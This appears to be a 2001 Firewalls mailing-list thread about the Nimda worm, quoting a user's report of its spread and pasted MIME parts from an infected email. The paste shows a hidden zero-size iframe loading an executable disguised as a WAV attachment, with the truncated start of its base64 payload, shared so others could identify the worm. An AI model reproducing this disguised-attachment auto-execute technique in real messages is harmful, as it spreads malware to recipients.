Hello Guys.. can anyone tell me.. what (if any) difference is there between
the code blue and nimda are? Or are they indeed one in the same?
Thanks much for your help.
Kelly Williams
At 11:57 AM 9/18/01 -0700, [EMAIL PROTECTED] wrote:
>new worm. I am in brazil and it is attacking our lan intensively. It was
>received from somewhere, and is getting fresh addr from (oh, surprise) the
>outlook addressbook, disseminating itself.
>
>It multiplies in the client-machine, also in any shared resource INCLUDING
>SAMBA (ours is hosted in a HP-UX).
>
>It creates an icon (a small mail-envelop) in any windows desktop, giving
>itself some_name.elm. In the background, it manages to replicate itself.
>78k multiplied 2000+ times means complete hd exhaustion in short time
>(including the server-shared resources).
>
>good luck to all of ours (again).
>
> > [EMAIL PROTECTED] Ron DuFresne <[EMAIL PROTECTED]>Cc:
> [EMAIL PROTECTED]
> > Re: New "concept" virus/worm? (fwd)Date: Tue, 18 Sep 2001 13:22:16 -0400
> >
> >
> >I just received it. Here are some MIME headers that might help in
> >searching:
> >
> >
> >
> >
> ><HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
> ><iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
> ></iframe></BODY></HTML>
> >--====_ABC0987654321DEF_====--
> >
> >--====_ABC1234567890DEF_====
> >Content-Type: audio/x-wav;
> > name="readme.exe"
> >Content-Transfer-Encoding: base64
> >Content-ID: <EA4DMGBP9p>
> >
> >TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
> >ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO
> >PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAKh+PwEAAAB/UEUAAEwBBQB1Oqc7
> >AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA
> >
> >
> >_______________________________________________
> >Firewalls mailing list
> >[EMAIL PROTECTED]
> >http://lists.gnac.net/mailman/listinfo/firewalls
>
>
>
>sauda��es,
> irado furioso com tudo
> linux user 179402
>
> Padre Marcelo Rossi (vulgo O Mala, TeViNaTV) � mosca nova na mesma
> mer*�&% de sempre.
>
> por favor, clique aqui: http://www.thehungersite.com
> e aqui tamb�m: http://cf6.uol.com.br/umminuto/
>
>------------------------------------------------------------
>Nettaxi would like to ask for your help in donations to the RED CROSS today!
>http://www.nyredcross.org/donate/
>_______________________________________________
>Firewalls mailing list
>[EMAIL PROTECTED]
>http://lists.gnac.net/mailman/listinfo/firewalls
_______________________________________________
Firewalls mailing list
[EMAIL PROTECTED]
http://lists.gnac.net/mailman/listinfo/firewalls
